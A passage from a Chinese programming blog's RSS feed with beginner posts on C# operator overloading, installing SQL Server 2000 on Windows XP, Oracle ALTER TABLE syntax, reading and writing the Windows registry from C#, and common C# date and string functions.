/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;returns&gt;&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public static TimeCounter operator ++(TimeCounter TimeCounter)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Seconds++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (TimeCounter.Seconds &gt;= 60)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Seconds = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Minutes++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (TimeCounter.Minutes &gt;= 60)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Minutes = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Hours++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (TimeCounter.Hours &gt;= 99)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Hours = 0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return new TimeCounter(TimeCounter.Hours, TimeCounter.Minutes, TimeCounter.Seconds);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 重定义--运算符表示减少一秒<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;param name=&quot;TimeCounter&quot;&gt;要操作的TimeCounter对象&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;returns&gt;&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public static TimeCounter operator --(TimeCounter TimeCounter)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Seconds--;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (TimeCounter.Seconds &lt; 0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Minutes--;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Seconds = 59;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (TimeCounter.Minutes &lt; 0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Hours--;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Minutes = 59;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (TimeCounter.Hours &lt; 0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.Hours = 99;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeCounter.IsOver = true;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return new TimeCounter(TimeCounter.Hours, TimeCounter.Minutes, TimeCounter.Seconds, TimeCounter.IsOver);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// 获取当前计时器是否已经倒计时完毕<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /// &lt;returns&gt;一个bool值&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public bool TimeOver()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return this.IsOver;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br />}</p></div><p>&nbsp;</p>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/212.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=212</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=212&amp;key=a16f8f88</trackback:ping></item><item><title>在XP上安装SQL Server 2000</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/9.htm</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0800</pubDate><guid>http://www.myjsy.com/Article/9.htm</guid><description><![CDATA[<DIV>今天为了做老师给的项目，要装SQL Server2000，不过XP是不可以装企业版的，于是从网上搜索了一下，找到了安装的办法。</DIV><DIV>&nbsp;&nbsp;&nbsp;一、找一张SQLserver服务器版光盘，在光盘上找到目录“MSDE”并进入，运行SETUP.EXE文件，并按照程序要求进行安装。安装完成重新启动计算机。<P>　　二、运行光盘中的，AUTORUN.EXE文件，或让光盘自动运行，打开安装界面后，点击“安装SQLserver2000组件（C）”=》“安装数据库服务器（S）”这里程序将提示你“....服务器组件在此系统上不受支持，.....”点“确定”。进入新的安装界面，点击“下一步”，选择默认的“本地计算机”=》“创建新的SQLserver”=》“仅客户端工具”...，一路点击“下一步”。直至安装结束。重新启动计算机。</P><P>　　三、到“开始”--“程序”-“Microsoft SQLServer”中打开“企业管理器”到“SQL Server　组”下，将“[lcoal](WindowsNT)”改成自己的的机器名，机器名在系统属性的“计算机名”里可以找到，假设我们的机器里的完整计算机名称为：SERVER，改名后，我们就会得到如图所示的样子了。关闭“企业管理器”</P><P>　　四、到“开始”--“程序”-“Microsoft SQLServer”中打开“客户端网络实用工具”，点“别名”如果“服务器别名配置”里没有数据，我们需要手工添加，点“添加”按钮。在“添加网络库配置”的“网络库”选项中，我们选择默认的“NamedPipes(P)”项，并为服务器取个别名“SERVER”，这时管道名称会自动添加“\\SERVER\pipe\sql\query”我们就不要管它了。点“确定”退出。</P><P>　　五、这一步我们要进入注册进行一下修改了，打开注册表编辑器，找到[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\<br/>MSSQLServer\MSSQLServer]，这一项，里面有一个键值LoginMode默认值是“1”，现在将该值改为“2”（安装MSDE时，默认的SQLServer身份验证方式为“仅Windows"的身份验证方式，即sa用户无法验证，通过修改以上的注册表键值来将身份验证方式改为SQLServer和Windows混合验证以后，就可以用sa用户登录了）。修改完毕，重启电脑。</P></DIV>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/9.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=9</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=9&amp;key=6ba4574a</trackback:ping></item><item><title>SQL语句中ALTER命令的用法</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/8.htm</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0800</pubDate><guid>http://www.myjsy.com/Article/8.htm</guid><description><![CDATA[<DIV><P>The ALTER TABLE command allows you to add, modify, or drop acolumn from an existing table.<br/></P><H2>Adding column(s) to a table</H2><P><STRONG>Syntax #1</STRONG></P><P>To add a column to an existing table, the ALTER TABLE syntaxis:</P><BLOCKQUOTE><P>ALTER TABLE table_name<br/>ADD column_name column-definition;</P></BLOCKQUOTE><P><U>For example:</U></P><BLOCKQUOTE><P>ALTER TABLE supplier<br/>ADD supplier_name varchar2(50);</P></BLOCKQUOTE><P>This will add a column called <EM>supplier_name</EM> to the<EM>supplier</EM> table.<br/></P><P><STRONG>Syntax #2</STRONG></P><P>To add multiple columns to an existing table, the ALTER TABLEsyntax is:</P><BLOCKQUOTE><TABLE CELLSPACING="0" CELLPADDING="0" WIDTH="245" BORDER="0"><TBODY><TR><TD WIDTH="243" COLSPAN="3">ALTER TABLE table_name</TD></TR><TR><TD WIDTH="38">ADD (</TD><TD WIDTH="71">column_1</TD><TD WIDTH="130">column-definition,</TD></TR><TR><TD WIDTH="38"></TD><TD WIDTH="71">column_2</TD><TD WIDTH="130">column-definition,</TD></TR><TR><TD WIDTH="38"></TD><TD WIDTH="71">...</TD><TD WIDTH="130"></TD></TR><TR><TD WIDTH="38"></TD><TD WIDTH="71">column_n</TD><TD WIDTH="130">column_definition );</TD></TR></TBODY></TABLE></BLOCKQUOTE><P><U>For example:</U></P><BLOCKQUOTE><TABLE CELLSPACING="0" CELLPADDING="0" WIDTH="251" BORDER="0"><TBODY><TR><TD WIDTH="249" COLSPAN="3">ALTER TABLE supplier</TD></TR><TR><TD WIDTH="38">ADD (</TD><TD WIDTH="100">supplier_name</TD><TD WIDTH="107">varchar2(50),</TD></TR><TR><TD WIDTH="38"></TD><TD WIDTH="100">city</TD><TD WIDTH="107">varchar2(45) );</TD></TR></TBODY></TABLE></BLOCKQUOTE><P>This will add two columns (<EM>supplier_name</EM> and<EM>city</EM>) to the <EM>supplier</EM> table.<br/></P><H2>Modifying column(s) in a table</H2><P><STRONG>Syntax #1</STRONG></P><P>To modify a column in an existing table, the ALTER TABLE syntaxis:</P><BLOCKQUOTE><P>ALTER TABLE table_name<br/>MODIFY column_name column_type;</P></BLOCKQUOTE><P><U>For example:</U></P><BLOCKQUOTE><P>ALTER TABLE supplier<br/>MODIFY supplier_name&nbsp;&nbsp;varchar2(100)&nbsp;&nbsp;&nbsp;&nbsp;not null;</P></BLOCKQUOTE><P>This will modify the column called <EM>supplier_name</EM> to bea data type of varchar2(100) and force the column to not allow nullvalues.<br/></P><P><STRONG>Syntax #2</STRONG></P><P>To modify multiple columns in an existing table, the ALTER TABLEsyntax is:</P><BLOCKQUOTE><TABLE CELLSPACING="0" CELLPADDING="0" WIDTH="249" BORDER="0"><TBODY><TR><TD WIDTH="243" COLSPAN="3">ALTER TABLE table_name</TD></TR><TR><TD WIDTH="65">MODIFY (</TD><TD WIDTH="67">column_1</TD><TD WIDTH="111">column_type,</TD></TR><TR><TD WIDTH="65"></TD><TD WIDTH="67">column_2</TD><TD WIDTH="111">column_type,</TD></TR><TR><TD WIDTH="65"></TD><TD WIDTH="67">...</TD><TD WIDTH="111"></TD></TR><TR><TD WIDTH="65"></TD><TD WIDTH="67">column_n</TD><TD WIDTH="111">column_type );</TD></TR></TBODY></TABLE></BLOCKQUOTE><P><U>For example:</U></P><BLOCKQUOTE><TABLE CELLSPACING="0" CELLPADDING="0" WIDTH="338" BORDER="0"><TBODY><TR><TD WIDTH="319" COLSPAN="5">ALTER TABLE supplier</TD></TR><TR><TD WIDTH="62">MODIFY (</TD><TD WIDTH="98">supplier_name</TD><TD WIDTH="97">varchar2(100)</TD><TD WIDTH="75" COLSPAN="2">not null,</TD></TR><TR><TD WIDTH="62"></TD><TD WIDTH="98">city</TD><TD WIDTH="97">varchar2(75)</TD><TD WIDTH="38"></TD><TD WIDTH="37">);</TD></TR></TBODY></TABLE></BLOCKQUOTE><P>This will modify both the <EM>supplier_name</EM> and<EM>city</EM> columns.<br/></P><H2>Drop column(s) in a table</H2><P><STRONG>Syntax #1</STRONG></P><P>To drop a column in an existing table, the ALTER TABLE syntaxis:</P><BLOCKQUOTE><P>ALTER TABLE table_name<br/>DROP COLUMN column_name;</P></BLOCKQUOTE><P><U>For example:</U></P><BLOCKQUOTE><P>ALTER TABLE supplier<br/>DROP COLUMN supplier_name;</P></BLOCKQUOTE><P>This will drop the column called <EM>supplier_name</EM> from thetable called <EM>supplier</EM>.<br/></P><H2>Rename column(s) in a table<br/>(NEW in Oracle 9i Release 2)</H2><P><STRONG>Syntax #1</STRONG></P><P>Starting in Oracle 9i Release 2, you can now rename acolumn.</P><P>To rename a column in an existing table, the ALTER TABLE syntaxis:</P><BLOCKQUOTE><P>ALTER TABLE table_name<br/>RENAME COLUMN old_name to new_name;</P></BLOCKQUOTE><P><U>For example:</U></P><BLOCKQUOTE><P>ALTER TABLE supplier<br/>RENAME COLUMN supplier_name to sname;</P></BLOCKQUOTE><P>This will rename the column called <EM>supplier_name</EM> to<EM>sname</EM>.</P></DIV>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/8.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=8</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=8&amp;key=8c4b5587</trackback:ping></item><item><title>C#.NET对系统注册表的操作</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/7.htm</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0800</pubDate><guid>http://www.myjsy.com/Article/7.htm</guid><description><![CDATA[<DIV>&nbsp;Windows操作系统的注册表包含了很多有关计算机运行的配置方式，打开注册表我们可以看到注册表是按类似于目录的树结构组织的，其中第二级目录包含了五个预定义主键分别是：HKEY_CLASSES_ROOT，HKEY_CURRENT_USER，HKEY_LOCAL_MACHINE，HKEY_USERS，HKEY_CURRENT_CONFIG。<P>　　<STRONG>下面我们来分别解释这5个类的作用</STRONG><br/><br/>　　HKEY_CLASSES_ROOT该主键包含了文件的扩展名和应用程序的关联信息以及WindowShell和OLE用于储存注册表的信息。该主键下的子键决定了在WINDOWS中如何显示该类文件以及他们的图标，该主键是从HKEY_LCCAL_MACHINE\SOFTWARE\Classes映射过来的。<br/><br/>　　HKEY_CURRENT_USER该主键包含了如用户窗口信息，桌面设置等当前用户的信息。<br/><br/>　　HKEY_LOCAL_MACHINE主键包含了计算机软件和硬件的安装和配置信息，该信息可供所有用户使用<br/>　　HKEY_USERS该主键记录了当前用户的设置信息，每次用户登入系统时，就会在该主键下生成一个与用户登入名一样的子键，该子键保存了当前用户的桌面设置、背景位图、快捷键，字体等信息。一般应用程序不直接访问改主键，而是通过主键HKEY_CURRENT_USER进行访问。<br/><br/>　　HKEY_CURRENT_CONFIG该主键保存了计算机当前硬件的配置信息，这些配置可以根据当前所连接的网络类型或硬件驱动软件安装的改变而改变。<br/><br/>　　C#也支持对注册表的编辑，.NET框架在Microsoft.Win32名字空间中提供了两个类来操作注册表：Registry和RegistryKey。这两个类都是密封类不允许被继承。下面我们分别来介绍这两个类。<br/><br/>　　Registry类提供了7个公共的静态域，分别代表7个基本主键（其中两个在XP系统中没有，在这就不介绍了）分别是：Registry.ClassesRoot，Registry.CurrentUser，Registry.LocalMachine，Registry.Users，Registry.CurrentConfig。它们分别对应哪几个键我想各位一看就会知道吧。<br/><br/>　　RegistryKey类中提供了对注册表操作的方法。要注意的是操作注册表必须符合系统权限，否则将会抛出错误。<br/><br/>　　<STRONG>下面我们就来几个操作注册表常用的几个方法</STRONG><br/><br/>　　创建子键的方法原型为：<br/><br/></P><TABLE BORDERCOLOR="#55AAFF" CELLSPACING="0" CELLPADDING="0" RULES="none" WIDTH="500" ALIGN="center" BGCOLOR="#DDEDFB" BORDER="1"><TBODY><TR><TD WIDTH="10"><br/></TD><TD><P>　　public RegistryKey CreateSubKey(string sunbkey);</P></TD></TR></TBODY></TABLE><br/><br/>　　参数sunbkey表示要创建的子键的名称或路径名。创建成功返回被创建的子键，否则返回null。<br/><br/>　　打开子键的方法原型为：<br/><br/><TABLE BORDERCOLOR="#55AAFF" CELLSPACING="0" CELLPADDING="0" RULES="none" WIDTH="500" ALIGN="center" BGCOLOR="#DDEDFB" BORDER="1"><TBODY><TR><TD WIDTH="10"><br/></TD><TD><P>　　public RegistryKey OpenSubKey(string name);<br/>　　public RegistryKey OpenSubKey(string name,bool writable);</P></TD></TR></TBODY></TABLE><br/>　　参数name表示要打开的子键名或其路径名，参数writable表示被打开的子键是否允许被修改，第一个方法打开的子键是只读的。Microsoft.Win32类还为我们提供了另一个方法，用于打开远程计算机上的注册表，方法原型为：<br/><br/><TABLE BORDERCOLOR="#55AAFF" CELLSPACING="0" CELLPADDING="0" RULES="none" WIDTH="500" ALIGN="center" BGCOLOR="#DDEDFB" BORDER="1"><TBODY><TR><TD WIDTH="10"><br/></TD><TD><P>　　public static RegistryKey OpenRemoteBaseKey(RegistryHivehKey,string machineName);</P></TD></TR></TBODY></TABLE><br/>　　删除子键的方法原型为：<br/><br/><TABLE BORDERCOLOR="#55AAFF" CELLSPACING="0" CELLPADDING="0" RULES="none" WIDTH="500" ALIGN="center" BGCOLOR="#DDEDFB" BORDER="1"><TBODY><TR><TD WIDTH="10"><br/></TD><TD><P>　　public void DeleteKey(string subkey);</P></TD></TR></TBODY></TABLE><br/>　　该方法用于删除指定的主键。如果要删除的子键还包含主键则删除失败，并返回一个异常，如果要彻底删除该子键极其目录下的子键可以用方法DeleteSubKeyTree，该方法原型如下：<br/><br/><TABLE BORDERCOLOR="#55AAFF" CELLSPACING="0" CELLPADDING="0" RULES="none" WIDTH="500" ALIGN="center" BGCOLOR="#DDEDFB" BORDER="1"><TBODY><TR><TD WIDTH="10"><br/></TD><TD><P>　　public void DeleteKeyTree(string subkey);</P></TD></TR></TBODY></TABLE><br/>　　读取键值的方法原型如下：<br/><br/><TABLE BORDERCOLOR="#55AAFF" CELLSPACING="0" CELLPADDING="0" RULES="none" WIDTH="500" ALIGN="center" BGCOLOR="#DDEDFB" BORDER="1"><TBODY><TR><TD WIDTH="10"><br/></TD><TD><P>　　public object GetValue(string name);<br/>　　public object GetValue(string name,object defaultValue);</P></TD></TR></TBODY></TABLE><br/>　　参数name表示键的名称，返回类型是一个object类型，如果指定的键不存在则返回null。如果失败又不希望返回的值是null则可以指定参数defaultValue，指定了参数则在读取失败的情况下返回该参数指定的值。<br/><br/>　　设置键值的方法原型如下：<br/><br/><TABLE BORDERCOLOR="#55AAFF" CELLSPACING="0" CELLPADDING="0" RULES="none" WIDTH="500" ALIGN="center" BGCOLOR="#DDEDFB" BORDER="1"><TBODY><TR><TD WIDTH="10"><br/></TD><TD><P>　　public object SetValue(string name,object value);</P></TD></TR></TBODY></TABLE><br/></DIV>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/7.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=7</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=7&amp;key=d9d596fa</trackback:ping></item><item><title>C#.NET操作注册表的实际例子</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/6.htm</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0800</pubDate><guid>http://www.myjsy.com/Article/6.htm</guid><description><![CDATA[<P><FONT FACE="宋体">使用VC，VB等语言操作注册表的例子已经有很多了，其实在C#里操作注册表更加的简单方便。下面的例子就提供了在C#里操作注册表的方法：&nbsp;</FONT></P><P><FONT FACE="宋体">using Microsoft.Win32;<br/>&nbsp;&nbsp;&nbsp; usingSystem.Diagnostics;<br/>&nbsp;&nbsp;&nbsp; private voidAccess_Registry()<br/>&nbsp;&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 在HKEY_LOCAL_MACHINE\Software下建立一新键，起名为MCBInc<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegistryKey key = Registry.LocalMachine.OpenSubKey("Software",true);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 增加一个子键<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegistryKey newkey = key.CreateSubKey("MCBInc");<br/>&nbsp;// 设置此子键的值<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;newkey.SetValue("MCBInc", "NET Developer");<br/>// 从注册表的其他地方获取数据<br/>// 找出你的CPU<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegistryKey pRegKey = Registry.LocalMachine;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pRegKey =pRegKey.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Object val = pRegKey.GetValue("VendorIdentifier");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Debug.WriteLine("The central processor of this machine is:"+val);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 删除键值<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegistryKey delKey = Registry.LocalMachine.OpenSubKey("Software",true);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;delKey.DeleteSubKey("MCBInc");<br/>&nbsp;&nbsp;&nbsp;}<br/></FONT></P>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/6.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=6</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=6&amp;key=d9adb3b8</trackback:ping></item><item><title>C#中常用的函数和方法</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/5.htm</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0800</pubDate><guid>http://www.myjsy.com/Article/5.htm</guid><description><![CDATA[<DIV>&nbsp;1、DateTime 数字型<br/><br/>System.DateTime currentTime=new System.DateTime();<br/>　　1.1 取当前年月日时分秒<br/><br/>currentTime=System.DateTime.Now;<br/>　　1.2 取当前年<br/><br/>int 年=currentTime.Year;<br/>　　1.3 取当前月<br/><br/>int 月=currentTime.Month;<br/>　　1.4 取当前日<br/><br/>int 日=currentTime.Day;<br/>　　1.5 取当前时<br/><br/>int 时=currentTime.Hour;<br/>　　1.6 取当前分<br/><br/>int 分=currentTime.Minute;<br/>　　1.7 取当前秒<br/><br/>int 秒=currentTime.Second;<br/>　　1.8 取当前毫秒<br/><br/>int 毫秒=currentTime.Millisecond;<br/>（变量可用中文）<br/>　　1.9 取中文日期显示——年月日时分<br/><br/>string strY=currentTime.ToString("f"); //不显示秒<br/>　　1.10 取中文日期显示_年月<br/><br/>string strYM=currentTime.ToString("y");<br/>　　1.11 取中文日期显示_月日<br/><br/>string strMD=currentTime.ToString("m");<br/>　　1.12 取当前年月日，格式为：2003-9-23<br/><br/>string strYMD=currentTime.ToString("d");<br/>　　1.13 取当前时分，格式为：14：24<br/><br/>string strT=currentTime.ToString("t");<br/>　　2、字符型转换 转为32位数字型<br/><br/>　　Int32.Parse(变量) Int32.Parse("常量")<br/><br/>　　3、 变量.ToString()<br/><br/>　　字符型转换 转为字符串<br/>　　12345.ToString("n"); //生成 12,345.00<br/>　　12345.ToString("C"); //生成 ￥12,345.00<br/>　　12345.ToString("e"); //生成 1.234500e+004<br/>　　12345.ToString("f4"); //生成 12345.0000<br/>　　12345.ToString("x"); //生成 3039 (16进制)<br/>　　12345.ToString("p"); //生成 1,234,500.00%<br/><br/>　　4、变量.Length 数字型<br/><br/>　　取字串长度：<br/><br/>　　如： string str="中国";<br/><br/>int Len = str.Length ; //Len是自定义变量，str是求测的字串的变量名<br/>　　5、字码转换 转为比特码<br/><br/>　　System.Text.Encoding.Default.GetBytes(变量)<br/><br/>　　如：byte[] bytStr =System.Text.Encoding.Default.GetBytes(str);<br/><br/>　　然后可得到比特长度：<br/><br/>　　len = bytStr.Length;<br/><br/>　　6、System.Text.StringBuilder("")<br/><br/>　　字符串相加，（+号是不是也一样？）<br/><br/>　　如：<br/><br/>System.Text.StringBuilder sb = 